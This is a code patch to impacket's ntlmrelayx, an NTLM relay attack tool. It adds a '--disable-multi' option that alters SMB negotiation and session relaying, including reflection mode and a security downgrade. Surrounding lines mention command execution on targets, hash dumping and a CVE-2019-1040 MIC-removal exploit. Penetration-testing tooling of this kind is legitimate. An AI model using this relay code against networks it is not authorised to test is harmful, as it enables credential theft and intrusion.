From 32aea4c96e59896d718e34ce925164f6ed13e68a Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 21 Jan 2022 15:41:44 +0100 Subject: [PATCH] disable-multi smb added --- examples/ntlmrelayx.py | 3 + .../ntlmrelayx/servers/smbrelayserver.py | 90 ++++++++++++++++--- impacket/examples/ntlmrelayx/utils/config.py | 4 + 3 files changed, 85 insertions(+), 12 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f065e409d4..06f09a6324 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -147,6 +147,7 @@ def start_servers(options, threads): c.setExeFile(options.e) c.setCommand(options.c) c.setEnumLocalAdmins(options.enum_local_admins) + c.setDisableMulti(options.disable_multi) c.setEncoding(codec) c.setMode(mode) c.setAttacks(PROTOCOL_ATTACKS) @@ -262,6 +263,8 @@ def stop_servers(threads): parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') + parser.add_argument('--disable-multi', action="store_true", required=False, help='If set, disable multi-host relay') + parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index b5e6f5a957..d91d7d470f 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -57,6 +57,7 @@ def __init__(self,config): #Username we auth as gets stored here later self.authUser = None self.proxyTranslator = None + # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() @@ -126,6 +127,33 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 + if self.config.disableMulti: + + if self.config.mode.upper() == 'REFLECTION': + self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) + self.target = self.targetprocessor.getTarget() + + LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, + self.target.netloc)) + + try: + if self.config.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + LOG.debug("Downgrading to standard security") + extSec = False + #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) + else: + extSec = True + # Init the correct client for our target + client = self.init_client(extSec) + except Exception as e: + LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) + self.targetprocessor.logTarget(self.target) + else: + connData['SMBClient'] = client + connData['EncryptionKey'] = client.getStandardSecurityChallenge() + smbServer.setConnectionData(connId, connData) + if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: @@ -134,7 +162,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() - + # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED @@ -183,7 +211,7 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? - if 'relayToHost' not in connData: + if not self.config.disableMulti and 'relayToHost' not in connData: # Just call the original SessionSetup respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket) # We remove the Guest flag @@ -328,8 +356,8 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): self.server.getJTRdumpPath()) connData['Authenticated'] = True - del(connData['relayToHost']) - + if not self.config.disableMulti: + del(connData['relayToHost']) self.do_attack(client) # Now continue with the server ############################################################# @@ -364,6 +392,8 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), authenticateMessage['user_name'].decode ('utf-16le'))).upper () + if self.config.disableMulti: + return self.origsmb2TreeConnect(connId, smbServer, recvPacket) # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: @@ -442,11 +472,45 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): ### SMBv1 Part ################################################################# def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) - if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: + + if self.config.disableMulti: if self.config.mode.upper() == 'REFLECTION': - # Force standard security when doing reflection - LOG.debug("Downgrading to standard security") - recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) + self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) + + self.target = self.targetprocessor.getTarget() + + LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], + self.target.scheme, self.target.netloc)) + + try: + if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: + extSec = False + else: + if self.config.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + LOG.debug("Downgrading to standard security") + extSec = False + recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) + else: + extSec = True + + # Init the correct client for our target + client = self.init_client(extSec) + except Exception as e: + LOG.error( + "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) + self.targetprocessor.logTarget(self.target) + else: + connData['SMBClient'] = client + connData['EncryptionKey'] = client.getStandardSecurityChallenge() + smbServer.setConnectionData(connId, connData) + + else: + if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: + if self.config.mode.upper() == 'REFLECTION': + # Force standard security when doing reflection + LOG.debug("Downgrading to standard security") + recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) ############################################################# @@ -458,10 +522,10 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): ############################################################# # SMBRelay # Are we ready to relay or should we just do local auth? - if 'relayToHost' not in connData: - # Just call the original SessionSetup - return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) - + if not self.config.disableMulti: + if 'relayToHost' not in connData: + # Just call the original SessionSetup + return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) # We have confirmed we want to relay to the target host. respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) @@ -679,6 +743,8 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), authenticateMessage['user_name'].decode ('utf-16le'))).upper () + if self.config.disableMulti: + return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) # Uncommenting this will stop at the first connection relayed and won't relaying until all targets # are processed. There might be a use case for this #if 'relayToHost' in connData: diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index d447eb8509..5f8091c543 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -42,6 +42,7 @@ def __init__(self): self.encoding = None self.ipv6 = False self.remove_mic = False + self.disableMulti = False self.command = None @@ -132,6 +133,9 @@ def setCommand(self, command): def setEnumLocalAdmins(self, enumLocalAdmins): self.enumLocalAdmins = enumLocalAdmins + def setDisableMulti(self, disableMulti): + self.disableMulti = disableMulti + def setEncoding(self, encoding): self.encoding = encoding